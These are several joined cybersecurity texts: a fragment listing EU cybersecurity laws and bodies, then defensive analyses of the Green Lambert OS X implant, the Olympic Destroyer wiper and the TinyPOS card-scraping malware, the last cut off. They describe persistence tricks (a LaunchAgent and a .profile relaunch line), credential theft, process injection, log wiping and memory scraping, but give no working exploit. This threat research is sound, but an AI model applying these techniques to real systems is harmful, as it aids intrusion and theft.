is a directive, which needs to be transposed into national law in all individual member states of Europe. ### General Data Protection Regulation – GDPR (2016/679) **2016 – Europe** The GDPR is the privacy data law that is designed to harmonise and update data protection requirements in the European Union. The primary objectives of the GDPR are to give control of personal data to EU citizens and residents. GDPR also simplifies the regulatory environment for international business within the EU. Contrary to a directive, a regulation does not need to be transposed into national law; it immediately applies. ### Directive on Security of Network and Information Systems – NIS (2016/1148) **2016 – Europe** The EU’s NIS Directive (Directive on security of network and information systems) is the first piece of EU-wide cyber security legislation. It aims to achieve a high common level of network and information system security across the EU’s critical infrastructure. It sets a range of network and information security requirements which apply to operators of essential services and digital service providers (DSPs). This is a directive, which needs to be transposed into national law in all individual member states of Europe. ### EU’s Cybersecurity Strategy for the Digital Decade (JOIN/2020/18) **2020 – Europe** The EU Cybersecurity Strategy focuses on building the operational capacity to prevent, deter, and respond to cyber incidents. One of the major focal points to increase the operational capacity is to establish a Joint Cyber Unit (JCU) to speed up information sharing between different cybersecurity communities in the EU. It also focuses on increased cooperation and strengthening collective capabilities to respond to major cyberattacks. ## Cooperation Mechanisms ### CSIRTs Network (CNW) The CSIRTs Network is a network composed of EU Member States’ appointed CSIRTs and CERT-EU. The European Commission participates in the network as an observer. ENISA is tasked to actively support the CSIRTs cooperation, provide the secretariat, and active support for incident coordination upon request. The CSIRTs Network provides a forum where members can cooperate, exchange information, and build trust. Members will be able to improve the handling of cross-border incidents and even discuss how to respond in a coordinated manner to specific incidents. ### European Union Cybercrime Task Force (EUCTF) The EUCTF is a trust-based network which meets twice yearly at Europol and provides a forum for the heads of the EU cybercrime units and associated countries (Denmark, Iceland, Norway, and Switzerland), together with EUROPOL, CEPOL, EUROJUST, and DG HOME to identify, discuss, and prioritise the key challenges and actions in the fight against cybercrime. The mission statement of EUCTF is to develop and promote a harmonised approach within the European Union to the criminal misuse of information and communication technology and the fight against cybercrime. ### Joint Cybercrime Action Taskforce (J-CAT) The Joint Cybercrime Action Taskforce (J-CAT), launched in September 2014, helps fight cybercrime within and outside the EU. J-CAT’s objective is to drive intelligence-led, coordinated action against key cybercrime threats and targets by facilitating the joint identification, prioritisation, preparation, initiation, and execution of cross-border investigations and operations by its partners. It consists of 9 EU Member States, 7 non-EU partner countries, and Europol. ### European Judicial Cybercrime Network (EJCN) The European Judicial Cybercrime Network (EJCN) was established in 2016 to foster contacts between practitioners specialised in countering the challenges posed by cybercrime, cyber-enabled crime, and investigations in cyberspace, and to increase the efficiency of investigations and prosecutions. Eurojust is a key partner of the EJCN, especially in situations in which the Network deals with the numerous challenges related to the genuinely borderless nature of cybercrime. ### 24/7 Points of Contact Network This network was constructed under the Council of Europe Convention on Cybercrime. ### Joint Cyber Unit The JCU is part of the new EU Cybersecurity Strategy and has the goal to speed up information sharing between different cybersecurity communities in the EU.
# Made In America: Green Lambert for OS X by: Runa Sandvik / October 1, 2021 This guest blog post was written by Runa Sandvik, a noted security researcher who works on digital security for journalists and other high-risk people. Mahalo for sharing Runa! 🤩 ## Background In March 2017, WikiLeaks began publishing thousands of files detailing the CIA’s spying operations and hacking tools. The leak, known as Vault 7, was the largest disclosure of classified information in the agency’s history. In April, Symantec publicly linked Vault 7 to an advanced threat actor named Longhorn. Kaspersky then announced it tracks the same actor as The Lamberts and revealed the existence of an OS X implant called Green Lambert. Kaspersky’s research showed that The Lamberts’ toolkit includes network-driven backdoors, several generations of modular backdoors, harvesting tools, and wipers. A timeline of activity for tools used by The Lamberts shows that Green Lambert is the oldest and longest-running in the family. Green Lambert is described as an active implant and the only one where non-Windows variants have been found. This blog post provides a comprehensive analysis of Green Lambert for OS X. I’ll share how I approached the research, the tools I used, the things I figured out, and the things I didn’t. I’ll also look at whether the developers followed the agency’s guidelines for development tradecraft. Some might ask why I’d look at an implant this old. Doing so helps us better understand the capabilities of its sophisticated creator, past and present. And, if we’re being honest: I could, so I did. ## Victimology We don’t know how this implant makes it into a target system; the type of system it’s used on; or the geographical location of a typical target. Symantec said that the actor has infiltrated governments, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. QI-ANXIN said the actor has previously targeted personnel and institutions in China. A version of Green Lambert for OS X was first uploaded to VirusTotal, from Russia, in September 2014. Kaspersky marked it as malicious in October 2016. AegisLab, a security firm based in Taiwan, followed a couple of weeks later. VirusTotal identified that the implant calls itself GrowlHelper, possibly referencing the popular Growl notification system for OS X from 2004. ## Triage Using static analysis methods, we can triage the implant without running it. For example, we can determine that GrowlHelper is a small, unsigned Mach-O executable. ```bash $ file GrowlHelper GrowlHelper: Mach-O executable i386 $ codesign -dvv GrowlHelper GrowlHelper: code object is not signed at all $ du -h GrowlHelper 208K ``` We can use `otool -L` to print a list of linked libraries. This can sometimes provide insight into the capabilities of the malware, but doesn’t appear to be particularly helpful here. Note the few dependencies in the list below. ```bash $ otool -L GrowlHelper /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices /System/Library/Frameworks/Security.framework/Versions/A/Security /System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration /usr/lib/libSystem.B.dylib /usr/lib/libgcc_s.1.dylib ``` What’s more interesting is the output of `strings -`. This tool can also provide insight into the capabilities of the malware. ```bash $ strings - GrowlHelper LoginItem LaunchAgent /Library/LaunchDaemons www.google.com Error from libevent when adding event for DNS server 1.3a _SecKeychainFindInternetPassword _SecKeychainItemCopyAttributesAndData _kSCPropNetProxiesHTTPProxy _kSCPropNetProxiesProxyAutoConfigEnable _kSCPropNetProxiesProxyAutoConfigURLString ``` The references to LoginItem, LaunchAgent, and LaunchDaemons suggest this implant has different options for gaining persistence on a system. In other words, how the implant ensures it’s executed again if the system is rebooted. The following three lines appear to be related to libevent, the same event notification library that is used by Tor. The open-source library is very popular now, but was perhaps less known back when this implant was created. The reference to 1.3a may shed some light on the development timeline for this implant: version 1.3a of libevent was released in February 2007. The references to Keychain, Proxies, and AutoConfig suggest this implant determines proxy settings on the target system. According to this post, `kSCPropNetProxiesProxyAutoConfigEnable` and `kSCPropNetProxiesProxyAutoConfigURLString` were added in Xcode version 2.2. This version was released in November 2005. Could be another clue about the development timeline. ## OS X Version The static analysis methods we used were helpful, but we’re going to want to see how the implant behaves on a system. For that, we’ll turn to dynamic analysis in a virtual machine. But which version of OS X does the implant need? We know that it’s a 32-bit executable, and the latest macOS is 64-bit only. We can narrow this down further by looking at symbols using `nm`. ```bash $ nm GrowlHelper U _CFArrayAppendValue U _CFArrayCreateMutable U _CFArrayCreateMutableCopy U _CFArrayGetCount U _CFArrayGetValueAtIndex U _CFArrayRemoveValueAtIndex U _CFDictionaryCreate U _CFDictionaryGetValue U _CFGetTypeID U _CFNumberGetTypeID ... ``` The next step is a bit tedious, but does provide helpful information. To better understand what these symbols represent, we can look them up in Apple’s Developer Documentation. Not only will we be able to learn how and where a given symbol is used, but we can also see when it was deprecated. With that information, we can determine which version of OS X the implant will run on. - `FSGetCatalogInfo` is available in macOS 10.0 - 10.8 - `FSPathMakeRef` is available in macOS 10.0 - 10.8 - `FSSetCatalogInfo` is available in macOS 10.0 - 10.8 - `SecKeychainSearchCopyNext` is available in macOS 10.0 - 10.7 - `SecKeychainSearchCreateFromAttributes` is available in macOS 10.0 - 10.7 - `SecKeychainSetUserInteractionAllowed` is available in macOS 10.2 - 12.0 This means that the implant will run on (at least) 10.7: OS X Lion. Note: I confirmed the implant runs on 10.8. It probably runs on any OS X that supports 32-bit executables. ## Development / Use Timeline Let’s look at a potential timeline for the development and use of this implant. Growl was released in 2004 and retired in 2020. Xcode version 2.2 was released in November 2005, while libevent 1.3a was released in February 2007. OS X 10.7 was released in 2011, and 10.8 in 2012. The implant first appeared on VirusTotal in late 2014. Court records show Vault 7 was stolen sometime in early 2016 and published by WikiLeaks a year later. Based on these datapoints, it’s likely the implant was created and used between 2007 and (at least) 2013. ## Setting Up a Virtual Machine As of June 2021, OS X 10.7 is available for free from Apple. You can also do what I did: buy an old MacBook on eBay for $95. You may have to unpack the `.dmg` you get from Apple to get a file that’ll work with your virtual machine software. If so, try: ```bash $ hdiutil attach InstallMacOSX.dmg ``` Click on Install Mac OS X on the Desktop and use The Unarchiver (or another tool) to extract `InstallMacOSX.pkg` to a temporary folder. Go into this folder, click on the new copy of `InstallMacOSX.pkg` and select Show Package Contents. Copy `InstallESD.dmg` to where you keep your virtual machine images, and use that instead. We’re going to use `lldb`, the default debugger, to execute the implant, modify registers, and examine memory contents. OS X 10.7 doesn’t include Xcode by default, but a quick Google search suggests we need version 4.6.3 and can get it from Apple’s Developer Downloads page. After installing Xcode and confirming that `lldb` is working, we isolate the machine and create a clean snapshot. ## Persistence Phil Stokes at SentinelOne wrote that “the most common way malware persists on macOS is via a LaunchAgent. Each user on a Mac can have a LaunchAgents folder in their own Library folder to specify code that should be run every time that user logs in.” We can confirm this is the case with Green Lambert by running the implant, then checking the user’s LaunchAgents folder. ```bash $ ls ~/Library/LaunchAgents com.apple.GrowlHelper.plist ``` Once installed, it’ll delete the original GrowlHelper file from the system. This is where our VM snapshot comes in handy. From Phil’s post, we know that “LaunchAgents take the form of property list files, which can either specify a file to execute or can contain their own commands to execute directly.” We can confirm this by looking at `com.apple.GrowlHelper.plist`. ```bash $ cat ~/Library/LaunchAgents/com.apple.GrowlHelper.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.apple.GrowlHelper</string> <key>ProgramArguments</key> <array> <string>/Users/user/Library/Caches/com.apple.Growl.GrowlHelper/5d0d/GrowlHelper</string> <string>-f</string> </array> <key>RunAtLoad</key> <true/> <key>OnDemand</key> <false/> </dict> </plist> ``` The `ProgramArguments` tell us where GrowlHelper is installed and that it takes at least one command line argument (`-f`). The `RunAtLoad` key confirms the implant will run every time the user logs in. To get an overview of the installation process, we can monitor file system activity for GrowlHelper events. ```bash $ sudo fs_usage -w -f filesys > filesys.out $ sudo grep GrowlHelper filesys.out execve /Users/user/GrowlHelper 0.015273 W bash.2848 execve /Users/user/GrowlHelper 0.000383 GrowlHelper.2851 open /Users/user/.profile 0.000018 GrowlHelper.2851 open /Users/user/.bash_profile 0.000015 GrowlHelper.2851 open /Users/user/.bash_login 0.000015 GrowlHelper.2851 open /Users/user/.bashrc 0.000014 GrowlHelper.2851 open /Users/user/.cshrc 0.000014 GrowlHelper.2851 open /Users/user/.login 0.000014 GrowlHelper.2851 open /Users/user/.tcshrc 0.000014 GrowlHelper.2851 open /Users/user/.xsession 0.000007 GrowlHelper.2851 open /Users/user/.xinitrc 0.000006 GrowlHelper.2851 ``` We see that GrowlHelper has a handful of options for maintaining persistence, in case the LaunchAgent is removed. In one case, the implant uses a `.profile` file to ensure it’s launched whenever the user opens the Terminal. ```bash $ cat ~/.profile GrowlHelper=`/path/to/com.apple.Growl.GrowlHelper/5d0d/GrowlHelper 2>&1` # Automatic GrowlHelper. Do not remove ``` ## Self-Update We can compare how GrowlHelper behaves when the system is offline vs. online. Here are the files it created in an isolated VM. ```bash $ file /Users/offline/Library/Caches/com.apple.Growl.GrowlHelper/5d0d/* GrowlHelper: Mach-O executable i386 db: Berkeley DB 1.85 (Hash, version 2, native byte-order) fifo: socket queue: directory ``` And here are the files GrowlHelper created on that old MacBook I got from eBay. ```bash $ file /Users/online/Library/Caches/com.apple.Growl.GrowlHelper/5d0d/* GrowlHelper: Mach-O executable i386 Software Update Check: Mach-O executable i386 db: Berkeley DB 1.85 (Hash, version 2, native byte-order) fifo: socket queue: directory ``` It looks like GrowlHelper creates an executable named Software Update Check when it thinks it’s online. I was pretty excited when I first found this, but quickly realized it just drops a copy of itself with a different name. ``` 3fcdbd3c5fa34fb8e8d58038fa1d1f13d37e8a4b GrowlHelper 3fcdbd3c5fa34fb8e8d58038fa1d1f13d37e8a4b Software Update Check ``` It’s possible that Software Update Check is used to update GrowlHelper. ## Command Line Arguments We know where GrowlHelper is installed and that it takes at least one command line argument (`-f`). With this information, we can identify other arguments by manually looping through options a - z and A - Z on the command line. The output below is the result of doing this try/fail experiment in a VM. | Args | Meaning | Action | |------|---------|--------| | c | ?? | Prints: ** Commands will be processed immediately ** | | d | ?? | If GrowlHelper is installed, drops Software Update Check | | f | Default | Persists as LaunchAgent, creates: GrowlHelper, db, fifo, queue | | p: | ?? | Prints: GrowlHelper: option requires an argument – p | | s | ?? | Runs without persisting, creates: db, fifo, queue | | L | ?? | Runs without persisting, does not create files | | N | ?? | Persists as LaunchAgent, creates: GrowlHelper, Software Update Check, db | Hopper Disassembler is a tool that helps you disassemble, decompile, and debug malware. There’s a free version, and you can get a personal license for $99. Using Hopper, we can confirm the arguments we found by looking for `argc`, `argv`, and `getopt`. By using Hopper’s pseudo-code mode, we can see the full set of possible command line arguments. ## Entry Points When you open GrowlHelper in Hopper, you’ll see that it has multiple entry points: EntryPoint_1 through EntryPoint_21. These entry points are called when GrowlHelper starts executing, before the main entry point at 0x2cd8. GrowlHelper will use these entry points to initialize certain functionality. QI-ANXIN detailed these entry points in this post. It appears GrowlHelper has a preflight checklist of sorts: it initializes functionality, figures out what it needs, deletes the rest. ```bash $ sudo grep GrowlHelper filesys.out mkdir /Users/user/.DS_Info 0.000083 GrowlHelper.2851 mkdir /Users/user/.DS_Info/5d0d 0.000044 GrowlHelper.2851 mkdir /Users/User/Library/Caches/com.apple.advanced 0.000066 GrowlHelper.2851 rmdir /Users/user/.DS_Info/5d0d 0.000109 W GrowlHelper.2851 rmdir /Users/user/.DS_Info 0.000240 W GrowlHelper.2851 rmdir /Users/User/Library/Caches/com.apple.advanced 0.000068 GrowlHelper.2851 ``` ## Decrypting a String Given the author, it’s no surprise that most strings in this implant are encrypted. The implant appears to handle encrypted strings in a bunch of different ways, which makes it challenging to automate decryption. Hopper has done some of the analysis work for us, allowing us to at least manually decrypt strings with `lldb`. Here’s one example. In the screenshot above, we have: - The address for the program counter / call to the decryption routine (0x1549b) - The values for ecx (0x01), edx (0x31e80), eax (0x2d487) - The address after the decryption routine, which we’ll use as a breakpoint for `lldb` (0x154a0) We load the implant into the debugger using `lldb GrowlHelper`, and decrypt the string. ## Decrypting More Strings Manually decrypting strings turned into a rabbit hole for me, but that’s OK. I’m sure there are ways to do this faster, but I have to admit I really enjoyed the process of learning to do this manually. Here are the strings I’ve decrypted so far, minus duplicates. | pc | String | |---------|---------------------------------| | 0xe8a0 | /tmp | | 0xe9ba | upload_dir | | 0xe9e2 | upload_key | | 0xea23 | upload_header | | 0xed50 | 52 | | 0x185ef | download | | 0x187d7 | ? | | 0x18eae | InternetOpen | | 0x19121 | ** Commands will be processed immediately ** | | 0x191f6 | login.php | | 0x19216 | getconf.php | | 0x19236 | s|%s|%s|%s upload.gethostname | | 0x195be | show.php | | 0xa2f6 | ConfigInitdFile | | 0x2ce6f | /etc/init.d | | 0xa762 | /etc/rc.d.File | | 0xaccc | .xinitrc | | 0xae0b | ConfigPersistXsessionFile | | 0xae23 | ConfigPersistXSession | | 0xaec9 | .xsession | | 0xaf39 | ConfigPersistXinitRCFile | | 0xaf51 | ConfigPersistXInitRC | | 0xc8f0 | proxy_type | | 0xc916 | proxy_url | | 0xc948 | Could not set proxy | | 0xca62 | http://www.google.com | | 0xce05 | no proxy_url | | 0x11309 | index.html | | 0x11816 | hps.txt | | 0x11d35 | NODELETE | | 0x11d64 | DELETE | | 0x11d93 | SECDELETE | | 0x1218d | NOWAIT | | 0x121c0 | WAIT | | 0x121f1 | WAIT_FOREVER | | 0x1225a | /bin/sh -c | | 0x132b1 | Version | | 0x13c1e | Service | | 0x147f8 | Proxy | | 0x14b1e | ProxyUser | | 0x1549b | hversion.txt | | 0x15c12 | HHLogEntry | | 0x15c5b | HHLogHead | | 0x15e2d | HHLogTail | | 0x1a427 | hh_last_attempt | | 0x1a530 | localhost_sock_create(pipe) | | 0x1a8ab | hh_last_attempt | | 0x649e | No LP configured | | 0x6a66 | 16 | ## Listening Post One of the decrypted strings is No LP configured. LP likely stands for Listening Post, a military term used in the context of signals intelligence and reconnaissance. Where other types of malware would likely use the terms C2 or Command & Control, the CIA and the NSA use LP. One Vault 7 document is titled Listening Post (LP) Creation, and another details requirements for a Listening Post. ## Configuration Files Some of the decrypted strings refer to `.html`, `.php`, and `.txt` files, but I’m unable to access them. But we know that Kaspersky found a hostname and an IP address hardcoded in the implant. And researchers at QI-ANXIN determined the implant talks to the Listening Post through `login.php` and `getconf.php`, and downloads follow-up code through `getfile.php`. ## Configuration? Survey? If you dig around in Hopper and use pseudo-code mode from time to time, you’ll likely find some interesting bits of information. When I stumbled upon the string `Version=1.2.0`, I decided to see where else `=` was referenced. To do that, highlight 0x132b8 and hit `x`. The list of references looks like this, with the current one selected. We can then go through all these references, decrypt the strings, and get an output that looks like this. ``` uname= Time=%Y\%m\%d %H:%M:%S Z Uptime= Version=1.2.0 PID= ``` The output lists information from the target system (e.g., `uname`) and information from the implant (e.g., `Version`). This could be a combination of a configuration file and system survey. ## Network Traffic We can monitor the network traffic on our OS X 10.7 system using `tcpdump` and then view the output in Wireshark. This gives us the hardcoded hostname `notify[.]growlupdate[.]com`. Very clever given the name of the executable. And the hardcoded IP address: `94[.]242[.]252[.]68`. ## Hostname Google and the Wayback Machine don’t have any results for the domain name. If we look it up on VirusTotal, we see that it was first submitted in October 2016. But if we look up the domain on crt.sh, we see that an SSL certificate was created on October 29, 2013. The domain may have been purchased earlier, but this at least suggests the domain was active in late 2013. This matches the timeline we created earlier, as well as Kaspersky’s timeline of activity by The Lamberts. Note: Kaspersky sinkholed the domain to `95[.]211[.]172[.]143` between October 1, 2016 and October 2, 2017. ## Development Tradecraft DOs and DON’Ts As part of Vault 7, WikiLeaks published 52 revisions of the CIA’s development tradecraft guidelines. I mapped the revisions in a public spreadsheet to see how the guidance changed over time. Studying the development choices made by sophisticated actors may help us track them over time. For example, when Kaspersky identified a code overlap between Sunburst and Kazuar, it was because of unusual, shared features such as the UID generation algorithm, the sleeping algorithm, and use of the FNV-1a hash. As Costin Raiu of Kaspersky pointed out on Twitter, “C2 jitter, secure erase/uninstall, SSL/TLS+extra crypto, size below 150K, encrypt logs and local collection, decrypt strings on the fly in mem… simply following these guidelines immediately makes the malware (“tools”) more interesting and recognizable by a skilled analyst.” While most of these are true here as well, there are a few things that stand out. - File size is a bit over the “ideal binary file size” for a fully featured tool (208K vs. 150K) - The references to Listening Post / LP may be CIA and USG specific terminology - Use of English abbreviations for days of the week (mtwhfsu / MTWHFSU) - Use of the libevent library back when it was perhaps less well-known ## Conclusion I’ve really enjoyed working on this project and certainly learned a lot along the way. I’m confident there’s more to find here, and I’d love to collaborate with anyone interested in taking a closer look. As for The Lamberts? Malware from this actor keeps turning up, along with new insights. In fact, Kaspersky’s APT trends report for Q1 2021 mentions Purple Lambert, a malware capable of providing an attacker with basic information about the infected system and executing a received payload. ## Indicators of Compromise - `notify[.]growlupdate[.]com` - `94[.]242[.]252[.]68` - `3fcdbd3c5fa34fb8e8d58038fa1d1f13d37e8a4b` ## References Patrick’s free and open-source book on Mac malware analysis was incredibly helpful during this project. If you haven’t already done so, I highly recommend checking out The Art of Mac Malware.
# Olympic Destroyer: A new Candidate in South Korea A new malware has recently made the headlines, targeting several computers during the opening ceremony of the Olympic Games Pyeongchang 2018. While Cisco Talos group, and later Endgame, have recently covered it, we noticed a couple of interesting aspects not previously addressed: its taste for hiding its traces, and the peculiar decryption routine. We also would like to pay attention to how the threat makes use of multiple components to breach the infected system. This knowledge allows us to improve our sandbox to be even more effective against emerging advanced threats. ## The Olympic Destroyer The malware is responsible for destroying (wiping out) files on network shares, making infected machines irrecoverable, and propagating itself with the newly harvested credentials across compromised networks. To achieve this, the main executable file (sha1: 26de43cc558a4e0e60eddd4dc9321bcb5a0a181c) drops and runs the following components, all originally encrypted and embedded in the resource section: - a browser's credential stealer (sha1: 492d4a4a74099074e26b5dffd0d15434009ccfd9) - a system credential stealer (a Mimikatz-like DLL – sha1: ed1cd9e086923797fe2e5fe8ff19685bd2a40072 for 64-bit OS, sha1: 21ca710ed3bc536bd5394f0bff6d6140809156cf for 32-bit OS) - a wiper component (sha1: 8350e06f52e5c660bb416b03edb6a5ddc50c3a59) - a legitimate signed copy of the PsExec utility used for lateral movement (sha1: e50d9e3bd91908e13a26b3e23edeaf577fb3a095) ### A wiper deleting data and logs The wiper component is responsible for wiping the data from the network shares, but also destroying the attacked system by deleting backups, disabling services, and clearing event logs using wevtutil, thereby making the infected machine unusable. The very similar behaviors have been previously observed in other Ransomware/Wiper attacks, including infamous ones such as BadRabbit and NotPetya. After wiping the files, the malicious component sleeps for an hour (probably, to be sure that the spawned thread managed to finish its job) and calls the InitiateSystemShutdownExW API with the system failure reason code (SHTDN_REASON_MAJOR_SYSTEM, 0x00050000) to shut down the system. ### An unusual decryption to extract the resources As mentioned before, the executables are stored encrypted inside the binary’s resource section. This is to prevent static extraction of the embedded files, thus slowing down the analysis process. Another reason for going “offline” is to bypass any network-based security solutions, which decreases the probability of detection. When the malware executes, they are loaded via the LoadResource API and decrypted via the MMX/SSE instructions sometimes used by malware to bypass code emulation. In this case, however, the instructions are used to implement AES encryption and MD5 hash function to decrypt the resources. The MD5 algorithm is used to generate the symmetric key, which is equal to MD5 of a hardcoded string “123” and multiplied by 2. The algorithms could be identified by looking at some characteristic constants of: 1. The Rcon array used during the AES key schedule. 2. The MD5 magic initialization constants. The decrypted resources are then dropped in a temporary directory and finally executed. ### Hunting An interesting aspect of the decryption is its usage of the SSE instructions. We exploited this peculiarity and hunted for other samples sharing the same code by searching for the associated codehash, which is a normalized representation of the code mnemonics included in the function block. Another interesting sample found during our investigation was (sha1: 84aa2651258a702434233a946336b1adf1584c49) with the harvested system credentials belonging to the Atos company, a technical provider of the Pyeongchang games. ### A Shellcode Injection Wiping the Injector Another peculiarity of the Olympic Destroyer is how it deletes itself after execution. While self-deletion is a common practice among malware, it is quite uncommon to see the injected shellcode taking care of it: the shellcode, once injected in a legitimate copy of notepad.exe, waits until the sample terminates, and then deletes it. This is done first by calling CreateFileW API and checking whether the sample is still running; it then overwrites the file with a sequence of 0x00 byte, deletes it via DeleteFileW API, and finally exits the process. The remainder of the injection process is very common and similar to what we have described in one of our previous blog posts: the malware first spawns a copy of notepad.exe by calling the CreateProcessW function; then allocates memory in the process by calling VirtualAllocEx, and writes shellcode in the allocated memory through WriteProcessMemory. Finally, it creates a remote thread for its execution via CreateRemoteThread. ## Lastline Analysis Overview The analysis overview looks like when analyzing the sample discussed in this article. ## Conclusion In this article, we analyzed a variant of the Olympic Destroyer, a multi-component malware that steals credentials before making the targeted machines unusable by wiping out data on the network shares and deleting backups. Additionally, the effort put into deleting its traces shows a deliberate attempt to hinder any forensic activity. We also have shown how Lastline found similar samples related to this attack based on an example of the decryption routine, and how we detect them. This is a perfect example of how the threats are continuously improving, making them even stealthier and more difficult to extract and analyze. ## Appendix: IoCs - 26de43cc558a4e0e60eddd4dc9321bcb5a0a181c (sample analyzed in this article) - 21ca710ed3bc536bd5394f0bff6d6140809156cf - 492d4a4a74099074e26b5dffd0d15434009ccfd9 - 84aa2651258a702434233a946336b1adf1584c49 - b410bbb43dad0aad024ec4f77cf911459e7f3d97 - c5e68dc3761aa47f311dd29306e2f527560795e1 - c9da39310d8d32d6d477970864009cb4a080eb2c - fb07496900468529719f07ed4b7432ece97a8d3d
# Tiny POS: An analysis of a Point-of-Sale malware ecosystem ## The Power of 4K What is the very first thing that comes to mind when we see “4K”? For the casual, tech-savvy person it’s probably the ultra-high definition of recent years’ TV models. For anyone who has been using a computer since the dawn of the PC era, it might mean a ‘demo’ program: a small piece of low-level code that creates outstanding (for the system it runs on, at least) 3D visuals on screen. For the less tech savvy one, it might just mean good old cash. Curiously, both of these last two definitions can be applied to our latest investigation. When we discovered UDPoS last year, we had mixed views on both it and recent Point-of-Sale (POS) malware in general. On one hand we didn’t really expect anything new in terms of POS malware, on the other, we could easily identify the underlying reasons why these threats are still popular. UDPoS was a warning sign that the POS portion of the threat landscape is still something to keep an eye on. Meanwhile, events such as Kroll Cyber Security revealing PinkKite – a new POS based threat, although with little to no tangible information available - and activities on the infamous Joker’s Stash site made us dig deeper. ## Tiny + Loader For more than a year we have been tracking a delivery mechanism built around very small components created purely in assembly. It’s not entirely uncommon to see malware code created in such a way, however trends of recent years have been towards the usage and adoption of high-level languages (C/C++/C#/Delphi/Java/GO etc) rather than low-level coding. Generally, with high bandwidth internet connections and powerful desktops there is little benefit in putting extra effort into hand crafting assembly: the difference in both delivery and execution time won’t generally be noticeable. Still, it was evident that someone still has a taste for more traditional methods of writing malware. ## Delivery During our investigation we haven’t come across samples being delivered as the primary payload (or email attachment) of an attack. Instead, they’ve been delivered as an additional payload alongside well-known banking trojan families such as Emotet or IcedID. Long term tracking provided us the opportunity to gather various samples and components of the Tiny ecosystem, as a result we have now analyzed over 2000 unique samples. These components fall into four main categories: ‘loaders’, ‘mappers’, ‘cleaners’ and ‘scrapers’, with loaders reflecting about 95% of the total population and all of the components falling into the 2-7kb range. We will elaborate more on the function of the different components later. ## How it works ### The loader It all starts with the delivery of a small loader called TinyLoader, an obfuscated executable with simple – yet powerful – downloader functionality. Upon execution, it will first brute force its own decryption key (a 32-bit value, meaning this takes a fraction of second on modern PCs) before using this to decrypt the main program code. The core functionality of the decrypted code is communication with a set of hardcoded C2 servers by IP and port. If the C2 is active, it will provide what is effectively a piece of shellcode, encrypted by another 32-bit constant. This shellcode is not ‘fire and forget’: it instead sees the loader establish a semi-interactive two-way communication with the C2. Note that the earliest traits and mentions of TinyLoader go back to as far as 2015. ### The shellcode The shellcode’s first action is to download snippets of a longer piece of code into memory in multiple steps, concatenate them, and execute the resulting program once the code is complete. The first payload built this way enumerates through the process list of the victim’s PC, flagging every process which is not included in a hardcoded blacklist. This blacklist consists mainly of system process names stored in a shortened four-character long format. The list of processes is then sent back to the C2 and the loader begins building another piece of in-memory shellcode. This second piece of code is an HTTP-based downloader that awaits further parameters that specify what to download, from where, and where to save it on the local system. Often the executable downloaded here is another TinyLoader pointing to yet another IP/port combination. This method seems to serve no specific purpose other than making the execution chain longer and potentially breaking dynamic analysis environments. If the victim’s PC meets the desired criteria – for example it’s a POS system – then another payload will be delivered and executed. ### The POS payload - scrapers Code-wise the POS component is very similar to the loader, except there is no additional encryption, as whenever it is delivered the operators are almost certain - due to the pre-filtering above - that a valuable target has been identified. This component works like any other POS memory scraper: opening processes based on either a predefined black or whitelist of process names, creating a new thread for each matching one and scanning their full memory range for Track 1 and Track 2 credit card data. If such data is found, first it will be verified by the Luhn algorithm for integrity, then it will be encrypted by a pre-defined key (another 32 or 64-bit value stored in the POS binary itself) and either sent to yet another C2 identified, again, by IP/port combination or it will be saved locally. Note the process name – the one data was stolen from - added at the end of the record. ### The mappers There is a special component type that we have chosen to call ‘mappers’. Their main purpose is to gather information about the PC and the environment it was executed on. That’s done by making a map of active processes (either all running processes or just those from a pre-defined black or whitelist, depending on the sample) and looking for local system (i.e. Autorun registry keys, Image path for active processes) and network related information. Processes are flagged differently depending on whether they could be opened or not. For the network reconnaissance capability, the execution of the ‘net view’ command was implemented in a non-standard way by utilizing named pipes instead of simply executing a command shell. We believe ‘mappers’ help the operators gather extensive knowledge of different POS system layouts and also to deploy campaigns targeting only specific retailers. Some of the mapping samples contain no less than 200+ unique POS process names in their embedded whitelist. To put that into perspective, a merchant will typically buy one model of POS terminal to use across their business, with these solutions generally covering both hardware and software components. As there are no trial editions of POS software bundles freely available on the internet, gathering insights of the components is no easy job. Judging by the sheer numbers, it’s safe to assume that many years of background research and information gathering is reflected in these whitelists. ### The cleaners As their name suggests, these components are responsible for cleaning up leftover content once the operation was finished. Such content can be running processes, Autorun registry keys, scheduled tasks and files in specific folders on the filesystem. Just like mappers, these modules are also customized for specific needs and won’t always include every type of cleanup. Some would only kill a specific process and delete the corresponding executable while others might do all and also send the report of the successful – or failed - cleaning back to a C2. ## Obfuscation and anti-analysis techniques While the individual components of the Tiny ecosystem can hardly be considered challenging from an analysis standpoint, they still utilize some basic obfuscation and anti-debug tricks. Note that not all of the techniques are utilized by every component, the early stage downloaders were meant to be protected more. Some techniques which were identified are as follows: - Call / Push obfuscation - Fake API calls - Junk instructions - Imports by hash - Icon resource randomization - VS_VERSION_INFO randomization - Dynamic loading of all imported API functions - Simple encryption layer added after compilation ## The infrastructure There are more than a dozen IP addresses utilized by the operators, however most used in older campaigns are either out of service or have been recycled by now. Even though the ports used to change frequently (sometimes within a day) the IPs for ongoing campaigns are static. There are certain port numbers reserved for specific activities; for example port 17771 is always used by the memory scraper modules for data exfiltration. Note that some of the IP addresses overlap with IPs previously used by the Cerber ransomware. Due to the nature of how Cerber operates and the lack of additional evidence, we could not determine whether this was a coincidence or an actual link between the two different threats. The finite number of IPv4 addresses available can occasionally result in the coincidental recycling of addresses across unrelated campaigns and groups. ## Why are we still facing POS-based fraud? There are several issues that come together to make POS systems a soft (and tempting) target. ### The software side Firstly, the solutions are frequently based on old software technologies. Lots of POS applications are still based on POSReady 2009 (Windows XP based) or POSReady 7 (Windows 7 based) platforms, both of these are reaching their EOL in the upcoming months or years. There is a new Windows 10 based POS platform called Windows IoT Enterprise, but migration and license costs can be challenging for many merchants. On top of that, POS systems often have some sort of remote access application installed for remote management and troubleshooting. This could enlarge the attack surface as lost, stolen or unchanged default credentials might provide access for the adversaries. In certain cases, if standard database engines are deployed and data is still stored without any encoding or encryption, it might also provide the ability for the memory scraper module to not only intercept current transactions but also historical ones. Several TinyPOS samples contain SQL and MySQL related names (“sqlser”, “mysqld“) in their process whitelist. ### The hardware side On the other side, 